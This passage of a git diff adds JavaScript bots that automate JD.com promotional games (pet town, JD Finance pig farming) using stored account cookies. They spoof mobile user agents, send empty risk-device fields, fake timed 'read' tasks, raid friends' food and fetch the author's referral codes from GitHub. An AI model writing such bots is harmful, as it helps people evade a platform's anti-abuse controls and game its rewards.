Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_pet_automation.js b/jd_pet_automation.js new file mode 100644 index 0000000..1640c0f --- /dev/null +++ b/jd_pet_automation.js @@ -0,0 +1,64 @@ +//40 5,12,21 * * * m_jd_pet_automation.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M萌宠自动化'); +let commodityName = process.env.M_JD_PET_COMMODITY + ? process.env.M_JD_PET_COMMODITY + : '' +$.log('默认4级商品,生产指定商品请自行配置 M_JD_PET_COMMODITY') +$.logic = async function () { + let info = await api('initPetTown', {"version": 1}); + $.log(JSON.stringify(info)); + debugger + if (info?.result?.petStatus < 5) { + return + } + if (info?.result?.petStatus === 5) { + $.log(info?.result?.goodsInfo); + let activityId = info?.result?.goodsInfo.activityId; + let activityIds = info?.result?.goodsInfo.activityIds; + let data = await api('redPacketExchange', + {"activityId": activityId, "activityIds": activityIds}); + $.putMsg(`${info?.result?.goodsInfo.exchangeMedalNum === 4 ? '12' + : '25'}红包,${$.formatDate( + $.timestamp() + data.result.pastDays * 24 * 60 * 60 * 1000)}过期`) + info = await api('initPetTown', {"version": 1}); + } + if (info?.result?.petStatus === 6) { + info = await api('goodsInfoList', {"type": 2}) + let goods = commodityName ? info.result.goodsList.filter( + o => o.goodsName.includes(commodityName))[0] + : info.result.goodsList.filter(o => o.exchangeMedalNum === 4)[0]; + if (!goods) { + $.putMsg(`没找到你要生产的 ${commodityName}`) + return + } + info = await api('goodsInfoUpdate', {"goodsId": goods.goodsId}) + $.putMsg(`生产【${info.result.goodsInfo.goodsName}】成功`) + } +}; + +$.run({ + wait: [2000, 3000], whitelist: ['1-15'] +}).catch( + reason => $.log(reason)); + +// noinspection DuplicatedCode +async function api(fn, body) { + let url = `https://api.m.jd.com/client.action?functionId=${fn}&body=${JSON.stringify( + body)}&client=apple&clientVersion=10.0.4&osVersion=13.7&appid=wh5&loginType=2&loginWQBiz=pet-town` +//↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓请求头↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ + let headers = { + "Cookie": $.cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "Host": "api.m.jd.com", + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 14_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.4(0x1800042c) NetType/4G Language/zh_CN miniProgram`, + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn" + } + let {data} = await $.request(url, headers) + await $.wait(1000, 3000) + return data; +} + diff --git a/jd_pigPet.js b/jd_pigPet.js new file mode 100644 index 0000000..5871224 --- /dev/null +++ b/jd_pigPet.js @@ -0,0 +1,992 @@ +/* +活动入口:京东金融养猪猪 +一键开完所有的宝箱功能。耗时70秒 +大转盘抽奖 +喂食 +每日签到 +完成分享任务得猪粮 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#京东金融养猪猪 +12 0-23/6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true + +================Loon============== +[Script] +cron "12 0-23/6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, tag=京东金融养猪猪 + +===============Surge================= +京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js + +============小火箭========= +京东金融养猪猪 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true +*/ +const $ = new Env('金融养猪'); +const url = require('url'); +let cookiesArr = [], cookie = '', allMessage = ''; +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let shareId = "hRYQeeaVYXQBX1Mguan2kA" +$.shareCodes = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (process.env.PIGPETSHARECODE) { + shareId = process.env.PIGPETSHARECODE + } else { + let res = await getAuthorShareCode('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(2000) + res = await getAuthorShareCode('') + } + if (res && res.length) shareId = res[Math.floor((Math.random() * res.length))] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdPigPet(); + } + } + let res2 = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/pig.json') + if (!res2) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pig.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(2000) + res2 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/pig.json') + } + $.shareCodes = [...new Set([...$.shareCodes, ...(res2 || [])])] + console.log($.shareCodes) + console.log(`\n======开始大转盘助力======\n`); + for (let j = 0; j < cookiesArr.length; j++) { + cookie = cookiesArr[j]; + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n自己账号内部循环互助\n`); + for (let item of $.shareCodes) { + await pigPetLotteryHelpFriend(item) + await $.wait(1000) + // if (!$.canRun) break + } + } + } + if (allMessage && new Date().getHours() % 6 === 0) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdPigPet() { + try { + $.notAddFood = false; + await pigPetLogin(); + if (!$.hasPig) return + await pigPetSignIndex(); + await pigPetSign(); + await pigPetOpenBox(); + await pigPetLotteryIndex(); + await pigPetLottery(); + if (process.env.JD_PIGPET_PK && process.env.JD_PIGPET_PK === 'true') { + await pigPetRank(); + } + await pigPetMissionList(); + await missions(); + if ($.notAddFood) { + console.log(`\n猪猪已成熟,跳过喂食`) + } else { + await pigPetUserBag(); + } + } catch (e) { + $.logErr(e) + } +} +async function pigPetLottery() { + if ($.currentCount > 0) { + for (let i = 0; i < $.currentCount; i++) { + await pigPetLotteryPlay(); + await $.wait(5000); + } + } +} +async function pigPetSign() { + if (!$.sign) { + await pigPetSignOne(); + } else { + console.log(`第${$.no}天已签到\n`) + } +} +function pigPetSignOne() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + "no": $.no + } + $.post(taskUrl('pigPetSignOne', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('签到结果', data) + // data = JSON.parse(data); + // if (data.resultCode === 0) { + // if (data.resultData.resultCode === 0) { + // if (data.resultData.resultData) { + // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + // $.sign = data.resultData.resultData.sign; + // $.no = data.resultData.resultData.today; + // } + // } else { + // console.log(`查询签到情况异常:${JSON.stringify(data)}`) + // } + // } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询背包食物 +function pigPetUserBag() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"}; + $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.goods) { + console.log(`\n食物名称 数量`); + for (let item of data.resultData.resultData.goods) { + console.log(`${item.goodsName} ${item.count}g`); + } + for (let item of data.resultData.resultData.goods) { + if (item.count >= 20) { + let num = 50; + $.finish = false; + $.remain = item.count + do { + console.log(`10秒后开始喂食${item.goodsName},当前数量为${$.remain}g`) + await $.wait(10000); + await pigPetAddFood(item.sku); + $.remain = $.remain - 20 + num-- + } while (num > 0 && !$.finish && $.remain >= 20) + } + } + } else { + console.log(`暂无食物`) + } + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//喂食 +function pigPetAddFood(skuId) { + return new Promise(async resolve => { + //console.log(`skuId::::${skuId}`) + const body = { + "source": 2, + "channelLV": "yqs", + "riskDeviceParam": "{}", + "skuId": skuId.toString(), + "category": "1001", + } + $.post(taskUrl('pigPetAddFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`喂食结果:${data.resultData.resultMsg}`) + if (data.resultData.resultData && data.resultData.resultCode == 0) { + item = data.resultData.resultData.cote.pig + if (item.curLevel = 3 && item.currCount >= item.currLevelCount) { + console.log(`\n猪猪已经成年了,请及时前往京东金融APP领取奖励\n`) + $.finish = true + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetLogin() { + return new Promise(async resolve => { + const body = { + "shareId": shareId, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskUrl('pigPetLogin', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + $.hasPig = data.resultData.resultData.hasPig; + if (!$.hasPig) { + console.log(`\n京东账号${$.index} ${$.nickName} 未开启养猪活动,请手动去京东金融APP开启此活动\n`) + return + } + if (data.resultData.resultData.wished) { + if (data.resultData.resultData.wishAward) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${data.resultData.resultData.wishAward.name}已可兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + console.log(`【京东账号${$.index}】${$.nickName || $.UserName} ${data.resultData.resultData.wishAward.name}已可兑换,请及时去京东金融APP领取`) + $.notAddFood = true; + } + } + console.log(`\n【京东账号${$.index}】${$.nickName || $.UserName} 的邀请码为${data.resultData.resultData.user.shareId}\n`) + } else { + console.log(`Login其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//开宝箱 +function pigPetOpenBox() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()} + $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.award) { + console.log(`开宝箱获得${data.resultData.resultData.award.content},数量:${data.resultData.resultData.award.count}\n`); + + } else { + console.log(`开宝箱暂无奖励\n`) + } + await $.wait(2000); + await pigPetOpenBox(); + } else if (data.resultData.resultCode === 420) { + console.log(`开宝箱失败:${data.resultData.resultMsg}\n`) + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}\n`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询大转盘的次数 +function pigPetLotteryIndex() { + $.currentCount = 0; + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + console.log(`当前大转盘剩余免费抽奖次数:${data.resultData.resultData.currentCount}\n`); + console.log(`您的大转盘助力码为:${data.resultData.resultData.helpId}\n`); + $.shareCodes.push(data.resultData.resultData.helpId) + $.currentCount = data.resultData.resultData.currentCount; + } + } else { + console.log(`查询大转盘的次数:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询排行榜好友 +function pigPetRank() { + return new Promise(async resolve => { + const body = { + "type": 1, + "page": 1, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetRank', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pigPetRank API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + n = 0 + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0 && n < 5) { + $.friends = data.resultData.resultData.friends + for (let i = 0; i < $.friends.length; i++) { + if ($.friends[i].status === 1) { + $.friendId = $.friends[i].uid + $.name = $.friends[i].nickName + if (!['zero205', 'xfa05'].includes($.name)) { //放过孩子吧TT + console.log(`去抢夺【${$.friends[i].nickName}】的食物`) + await $.wait(2000) + await pigPetFriendIndex($.friendId) + } + } + } + } else { + console.log(`查询排行榜失败:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetFriendIndex(friendId) { + return new Promise(async resolve => { + const body = { + "friendId": friendId, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetFriendIndex', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pigPetFriendIndex API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + await pigPetRobFood($.friendId) + await $.wait(3000) + } else { + console.log(`进入好友猪窝失败:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抢夺食物 +async function pigPetRobFood(friendId) { + return new Promise(async resolve => { + const body = { + "source": 2, + "friendId": friendId, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetRobFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData.robFoodCount > 0) { + console.log(`抢夺成功,获得${data.resultData.resultData.robFoodCount}g${data.resultData.resultData.robFoodName}\n`); + n++ + } else { + console.log(`抢夺失败,损失${data.resultData.resultData.robFoodCount}g${data.resultData.resultData.robFoodName}\n`); + } + } else { + console.log(`抢夺失败:${JSON.stringify(data)}\n`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询签到情况 +function pigPetSignIndex() { + $.sign = true; + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetSignIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.sign = data.resultData.resultData.sign; + $.no = data.resultData.resultData.today; + } + } else { + console.log(`查询签到情况异常:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抽奖 +function pigPetLotteryPlay() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + "validation": "", + "type": 0 + } + $.post(taskUrl('pigPetLotteryPlay', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`大转盘抽奖获得:${data.resultData.resultData.award.name} * ${data.resultData.resultData.award.count}\n`); + } else { + console.log(`大转盘抽奖结果:没抽中,再接再励哦~\n`) + } + $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pigPetLotteryHelpFriend(helpId) { + return new Promise(async resolve => { + const body = { + "source": 2, + "helpId": helpId, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryHelpFriend', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData.opResult == 0) { + console.log(`大转盘助力结果:助力成功\n`); + } else if (data.resultData.resultData.opResult == 461) { + console.log(`大转盘助力结果:助力失败,已经助力过了\n`); + } else { + console.log(`大转盘助力结果:助力失败`); + } + } + } else { + console.log(`${JSON.stringify(data)}\n`) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function missions() { + for (let item of $.missions) { + if (item.status === 4) { + console.log(`\n${item.missionName}任务已做完,开始领取奖励`) + await pigPetDoMission(item.mid); + await $.wait(1000) + } else if (item.status === 5) { + console.log(`\n${item.missionName}已领取`) + } else if (item.status === 3) { + console.log(`\n${item.missionName}未完成`) + if (item.mid === 'CPD01') { + await pigPetDoMission(item.mid); + } else { + await pigPetDoMission(item.mid); + await $.wait(1000) + let parse + if (item.url) { + parse = url.parse(item.url, true, true) + } else { + parse = {} + } + if (parse.query && parse.query.readTime) { + await queryMissionReceiveAfterStatus(parse.query.missionId); + await $.wait(parse.query.readTime * 1000) + await finishReadMission(parse.query.missionId, parse.query.readTime); + } else if (parse.query && parse.query.juid) { + await getJumpInfo(parse.query.juid) + await $.wait(4000) + } + } + } + } +} +//领取做完任务的奖品 +function pigPetDoMission(mid) { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "", + "riskDeviceParam": "{}", + mid + } + $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`奖励${data.resultData.resultData.award.name},数量:${data.resultData.resultData.award.count}`) + } + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询任务列表 +function pigPetMissionList() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "", + "riskDeviceParam": "{}", + } + $.post(taskUrl('pigPetMissionList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.missions = data.resultData.resultData.missions;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getJumpInfo(juid) { + return new Promise(async resolve => { + const body = {"juid":juid} + const options = { + "url": `${MISSION_BASE_API}/getJumpInfo?reqData=${escape(JSON.stringify(body))}`, + "headers": { + 'Host': 'ms.jr.jd.com', + 'Origin': 'https://active.jd.com', + 'Connection': 'keep-alive', + 'Accept': 'application/json', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/', + 'Accept-Encoding': 'gzip, deflate, br' + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('getJumpInfo', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryMissionReceiveAfterStatus(missionId) { + return new Promise(resolve => { + const body = {"missionId": missionId}; + const options = { + "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData=${escape(JSON.stringify(body))}`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('queryMissionReceiveAfterStatus', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//做完浏览任务发送信息API +function finishReadMission(missionId, readTime) { + return new Promise(async resolve => { + const body = {"missionId":missionId,"readTime":readTime * 1}; + const options = { + "url": `${MISSION_BASE_API}/finishReadMission?reqData=${escape(JSON.stringify(body))}`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('finishReadMission', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function 